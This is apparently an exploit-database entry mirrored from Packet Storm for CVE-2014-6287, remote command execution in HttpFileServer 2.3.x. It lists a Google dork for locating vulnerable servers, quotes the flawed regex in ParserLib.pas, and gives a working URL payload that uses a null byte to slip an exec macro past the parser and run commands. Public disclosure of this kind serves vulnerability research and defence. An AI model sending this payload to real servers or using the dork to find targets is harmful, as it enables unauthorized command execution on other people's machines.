Sploitus

Exploit for HttpFileServer 2.3.x Remote Command Execution

CVE-2014-6287

packetstorm · 2014-09-12

Exploit Code

MARKDOWN26 lines
## https://sploitus.com/exploit?id=PACKETSTORM:128243
Affected software: http://sourceforge.net/projects/hfs/  
Version : 2.3x  
# Exploit Title: HttpFileServer 2.3.x Remote Command Execution  
# Google Dork: intext:"httpfileserver 2.3"  
# Date: 11-09-2014  
# Remote: Yes  
# Exploit Author: Daniele Linguaglossa  
# Vendor Homepage: http://rejetto.com/  
# Software Link: http://sourceforge.net/projects/hfs/  
# Version: 2.3.x  
# Tested on: Windows Server 2008 , Windows 8, Windows 7  
# CVE : CVE-2014-6287  
  
issue exists due to a poor regex in the file ParserLib.pas  
  
  
function findMacroMarker(s:string; ofs:integer=1):integer;  
begin result:=reMatch(s, '\{[.:]|[.:]\}|\|', 'm!', ofs) end;  
  
  
it will not handle null byte so a request to  
  
http://localhost:80/search=%00{.exec|cmd.}  
  
will stop regex from parse macro , and macro will be executed and remote code injection happen.